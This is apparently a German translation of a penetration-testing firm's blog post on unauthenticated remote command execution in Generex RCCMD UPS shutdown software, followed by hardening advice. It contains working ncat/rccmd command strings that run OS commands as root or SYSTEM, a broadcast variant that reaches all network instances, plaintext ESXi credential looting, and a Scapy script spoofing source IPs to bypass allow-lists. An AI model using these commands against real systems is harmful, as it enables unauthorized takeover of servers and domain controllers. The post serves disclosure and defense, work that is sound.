Ausnutzung von ungesicherten RCCMD-Installationen
Übernahme von Systemen durch Remote Wartung Software
Dies ist eine übersetzte Version. Das englische Original finden Sie hier.
Generex RCCMD (Remote Control Command) ist eine Software, die es der USV (unterbrechungsfreie Stromversorgung) erlaubt kritische Systeme rechtzeitig herunterzufahren, bevor der Strom ausgeht. RCCMD erfreut sich in Deutschland vor allem in kleinen und mittelständischen Unternehmen recht großer Beliebtheit. In den letzten Jahren hat MOGWAI LABS bei Penetrationstests mehrere unsicher konfigurierte RCCMDMInstallationen ausgenutzt um Systeme (inklusive Domain Controller) unserer Kunden zu kompromittieren.
RCCMD Übersicht
Eine typische Installation besteht normalerweise aus einem USV-Überwachungssystem (UPSMON) und mehreren “Client”-Systemen, auf denen der RCCMD-Dienst installiert ist. Wir werden uns hier auf den RCCMD-Dienst konzentrieren.
Im Falle eines Stromausfalls im Rechenzentrum kann sich das UPSMON-System mit den RCCMD-Clients verbinden und eine Shutdown-Sequenz einleiten. Während dieser Prozedur ist es beispielsweise möglich, Betriebssystembefehle/Skripte auf den Zielrechnern auszuführen oder Nachrichten an den aktuell angemeldeten Benutzer zu senden.
RCCMD bietet Installationspakete für verschiedene Betriebssysteme (Linux, Windows, OSX, ESXi). Die ESXi Version ist eigentlich eine virtuelle Maschine mit einer speziellen RCCMD Version, die in der Lage ist, den ESXi Host über SSH herunterzufahren.
Standardmäßig verwendet RCCMD die folgenden Ports (der Windows-Installer konfiguriert die Firewall-Freischaltung für diese Dienste):
Port | Kommentar |
---|---|
8080/tcp | Web-basiertes Management |
8433/tcp | Web-basiertes Management (HTTPS) |
433/tcp | Web-basiertes Management (HTTPS) (ESXi only) |
6003/tcp | RCCMD listener |
6003/udp | RCCMD listener |
961/tcp | Message Port RCCMD for tray (Windows only) |
Das web-basierte Management ermöglicht den Zugriff auf die zentaralen Systemeinstellungen. Dies beinahltet auch die Skripte, die ausgeführt werden, wenn die USV einen Remote-Befehl sendet.
Der RCCMD Nachrichten Protokoll
Das RCCMD-Protokoll ist ein einfaches, textbasiertes Protokoll, das von sich aus keine Form der Authentifizierung bietet. Ein textbasierter Client kann eine Verbindung zum RCCMD-Dienst herstellen und die Zeichenfolge “CONNECT TO RCCMD (SEND) MSG_EXECUTE” senden, gefolgt vom eigentlichen Befehl. Das RCCMD-Protokoll kennt die folgenden Befehle:
Command | Kommentar |
---|---|
SHUTDOWN | Execute a shutdown of the remote system |
EXECUTE | Execute a OS command on the remote system |
MSG_ID | Send a predefined message to the RCCMD tray |
MSG_TEXT | Send a text message to the RCCMD tray |
MAIL_ID | Send a mail with a predefined message |
MAIL_TEXT | Send a email with a text message |
LOG_ID | Add a predefined message to the RCCMD log |
LOG_TEXT | Add a text message to the RCCMD log |
WAKEUP | ??? |
The following example shows how to use ncat to send a message to the RCCMD log. The RCCMD message service does not return any response
Das folgende Beispiel zeigt, wie per ncat eine Nachricht in das RCCMD Log geschrieben werden kann. Der RCCMD Dienst gibt keine Antwort zurück
echo "CONNECT TO RCCMD (SEND) MSG_EXECUTE LOG_TEXT NCAT log entry" | ncat TARGET_IP 6003
Je nach empfangenem Befehl führt der RCCMD Dienst verschiedene Skripte/Batch-Dateien aus. Diese können über das Webinterface konfiguriert werden.
Jede RCCMD Installation enthält ein “rccmd” Programm, das den RCCMD-Listener-Dienst bereitstellt, aber auch als einfacher RCCMD-Client verwendet werden kann.
./rccmd -h
rccmd may be run in listen-, or send-mode.
listen-mode: wait for connections from rccmd sender:
rccmd -l [options]
options are:
-c <file> : read Configuration from <file>
-d : run as foreground process
-bs <file> : execute <file> if "SHUTDOWN" command is received
-ba <file> : execute <file> if upsman/upstcp is not alive
-a <host> : allow rccmd connection only from <host>
-p <port> : listen(/receive) on tcp(/udp) <port>
-ac <host[:port]>: check if upsman/upstcp at <host[:port]> is alive
-pc <port> : check upsman/upstcp on <port>
-rc <num> : check is disabled after <num> unsuccessful retries
-tc <time> : check upsman/upstcp every <time> minutes
-ssl : use SSL connection
send-mode (rccmd): send "command" to rccmd listener:
rccmd -se "command [parameter]" -a <host[:port]> | -ab <ip-address> [options]
-a <host[:port]> : send to rccmd at <host[:port]>
-ab <ip-address> : send rccmd broadcast on <ip-address>
"command" is one of:
SHUTDOWN| EXECUTE| MSG_ID| MSG_TEXT| MAIL_ID| MAIL_TEXT| LOG_ID| LOG_TEXT
options are:
-p <port> : send to rccmd on <port>
-t <time> : try at most <time> seconds to connect
send-mode (upsman): check if upsman/upstcp is alive:
rccmd -sc -a <host[:port]> [options]
-a <host[:port]> : check upsman/upstcp at <host[:port]>
options are:
-p <port> : check upsman/upstcp on <port>
-ssl : use SSL connection
-sslnorec : SSL - do not reject expired certificates
-t <time> : try at most <time> seconds to connect
common options:
-? : display this help and exit
-v : display version number and exit
Exploiting unsicherer Standardinstallationen
Die Kompromittierung einer Standardinstallation ist trivial, da RCCMD es erlaubt, beliebige Betriebssystembefehle mit root/SYSTEM-Rechten auszuführen. Das folgende Beispiel verwendet das rccmd-Binary, um eine Datei mit Root-Rechten auf einem Linux-Ziel zu erstellen:
rccmd -se "EXECUTE touch /tmp/pwn_via_RCCMD" -a TARGET_IP
05/27/2021,21:51:51, rccmd[17754]: Send Mode started
05/27/2021,21:51:51, rccmd[17754]: Trying to establish a connection to TARGET_IP ...
05/27/2021,21:51:51, rccmd[17754]: Connection established to TARGET_IP OK.
05/27/2021,21:51:51, rccmd[17754]: Send Mode stopped
Hier die “ncat”-Version, falls kein RCCMD Client verfügbar sein sollte:
echo "CONNECT TO RCCMD (SEND) MSG_EXECUTE EXECUTE touch /tmp/pwn_via_RCCMD" | ncat TARGET_IP 6003
Der RCCMD Dienst gibt keine Informationen über die erfoglreiche Ausführung des Befehls zurück.
RCCMD bietet auch eine Broadcast-Version des RCCMD Listeners, erreichbar an UDP-Port 6003. Diese Version erlaubt es, alle RCCMD-Instanzen innerhalb eines Netzwerks mit einem einzigen Befehl zu kompromittieren:
./rccmd -se "EXECUTE touch /tmp/pwn_via_RCCMD" -ab BROADCAST_IP
05/27/2021,21:52:57, rccmd[18164]: Send Mode started
05/27/2021,21:52:57, rccmd[18164]: Trying to send broadcast to BROADCAST_IP ...
05/27/2021,21:52:57, rccmd[18164]: Connection established to BROADCAST_IP OK.
05/27/2021,21:52:57, rccmd[18164]: Send Mode stopped
Looting
Das RCCMD Webinterface bietet nur ein “admin” Konto, das Anlegen weiterer Konten ist nicht möglich. Das Passwort dieses Kontos wird in der Datei “realm.properties” gespeichert, wobei ein Linux-Crypt-Hash verwendet wird.
Wenn sich Angreifer Zugang zu einem RCCMD ESXi System verschaffen, sieht die Sache schon anders aus. Der Hauptzweck dieses Systems besteht darin, virtuelle Maschinen und ESXi-Server herunterzufahren bzw. auf einen anderen Server zu migrieren.
Diese Anmeldeinformationen werden im Klartext in “.creds”-Dateien gespeichert, die sich im RCCMD-Rootverzeichnis befinden. Die Dateien sind nach dem Hostnamen des Ziels benannt:
root@rccmdAppliance:/# cat /usr/rccmd/.esxi.creds
VI_SERVER = esxi
VI_USERNAME = user
VI_PASSWORD = the-password
Härten von RCCMD Installationen
Standardmäßig kann ein RCCMD Listener auf zwei Arten gegen Angriffe abgesichert werden:
- Einschränkung der Quell-IPs, die mit dem RCCMD Dienst kommunizieren dürfen
- Erzwingen der Authentifizierung durch TLS/SSL Zertifikate
Die Einschränkung der erlaubten IP-Adressen ist bei weitem die gängigste Maßnahme, sie kann aber oft durch den Broadcast Dienst umgangen werden. Der Aufruf des Dienst kann mit einem einzigen UDP-Paket erfolgen, so dass Angreifer die Quell-IP-Adresse leicht spoofen können, z. B. durch die Verwendung von Scapy:
from scapy.all import *
ip = IP(dst='172.16.104.2', src='172.16.104.10')
udp = UDP(sport=5555,dport=6003)
payload = b'CONNECT TO RCCMD (SEND) MSG_EXECUTE LOG_TEXT spoofed RCCMD log entry'
packet = ip/udp/payload
send(packet)
Angreifer müssen nur eine der freigegebenen IP-Adressen kennen. Dies ist häufig eine einfache Aufgabe: Durch Scannen des Netzwerks lassen sich in der Regel UPSMAN, RCCMD oder anderen USV-Systeme uund damit potenzielle Kandidaten finden. Je nach Größe des Netzkwerls könnte der Angreifer auch einfach alle möglichen IP-Adressen innerhalb eines bestimmten Bereichs ausprobieren.
Der RCCMD-Listener kann durch die Verwendung von TLS-Zertifikaten weiter abgesichert werden. Das Aktivieren von TLS hat den netten Zusatzeffekt, dass es automatisch die RCCMD-Broadcast-Version des Dienstes “deaktiviert”, da dies mehrere Pakete zwischen Client und Server erfordern würde. Das Webinterface bietet hier nur zwei allgemeine Optionen:
Die Beschreibung ist ein wenig irreführend. Wenn TLS aktiviert ist, muss sich der Client per TLS-Zertifikat authentifizieren. Da die rccmd-Binärdatei jedoch gleichzeitig als Client und als Dienst verwendet werden kann, bringt dies einige Schwierigkeiten mit sich:
RCCMD erwartet die Zertifikate in der Datei “rccmd.pem”. Eine Standard RCCMD-Installation enthält bereits diese Datei, die weltweit lesbar ist und ein veraltetes TLS-Zertifikat enthält.
Die in der rccmd.pem Datei hinterlegten Zertifikate müssen die folgende Reihenfolge haben:
- Öffentlicher Schlüssel
- Privater Schlüssel (ohne Passwort)
- Öffentlicher Schlüssel der Zertifizierungsstelle (CA)
Der private Schlüssel des Servers kann daher zur Authentifizierung gegenüber dem Dienst verwendet werden. Das ist was unserer Erfahrung nach die meisten RCCMD-Administratoren auch tun.
Hier ein Beispiel für die Erstellung und Installation eines Zertifikats unter einer Linux RCCMD-Installation.
# Create a new CA, will be stored in ./demoCA
mkdir ~/rccmd-ca
cd ~/rccmd-ca
/lib/ssl/misc/CA.pl -newca
# Create and sign a new certifcate
# Key and certificate will be stored in newkey.pem and newcert.pem
/lib/ssl/misc/CA.pl -newreq-nodes
/lib/ssl/misc/CA.pl -sign
# Add the public/private key to the our new rccmd-new.pwm
openssl x509 -in newcert.pem -outform PEM > rccmd-new.pem
cat newkey.pem >> rccmd-new.pem
# Append the public key from the CA to our rrcmd.pem
openssl x509 -in ./demoCA/cacert.pem -outform PEM >> rccmd-new.pem
# Create a backup of the original rccmd.pem
sudo cp /opt/rccmd/rccmd.pem /opt/rccmd/rccmd-backup.pem
# Replace the original rccmd.pem with out new version
sudo cp rccmd-new.pem /opt/rccmd/rccmd.pem
sudo chown root:root /opt/rccmd/rccmd.pem
sudo chmod 600 /opt/rccmd/rccmd.pem
# Please don't forget to
# enable TLS within the web configuration
# restart RCCMD service
sudo /etc/init.d/rccmd_start restart
## test the new connection from localhost
sudo /opt/rccmd/rccmd -ssl -se "LOG_TEXT TLS is working" -a 127.0.0.1
Um eine RCCMD-Installation abzusichern, wird dringend empfohlen, die freigeschalteten IP-Adressen einzuschränken sowie die TLS-Unterstützung zu aktivieren. Die Verwendung von TLS-Zertifikaten allein ist eventuell nicht ausreichend: Ein lokaler Angreifer könnte in der Lage sein, den privaten Schlüssel aus der Datei rccmd.pem zu lesen, was ihm immer noch erlauben würde, seine Privilegien auf Root- oder SYSTEM-Rechte zu erhöhen.
Wenn TLS “zu kompliziert” ist, sollte der Broadcast-Dienst in der RCCMD-Konfigurationsdatei (rrcmd.cfg) deaktiviert werden, um eine mögliche Umgehung der Zugriffsbeschränkung durch den IP Filter zu verhindern:
# Enable UDP
# Defines if we should listen for rccmd (UDP) broadcasts
# Default: true
ListenUDP=false
Vielen Dank an Mika Baumeister bei Unsplash für das Titelbild.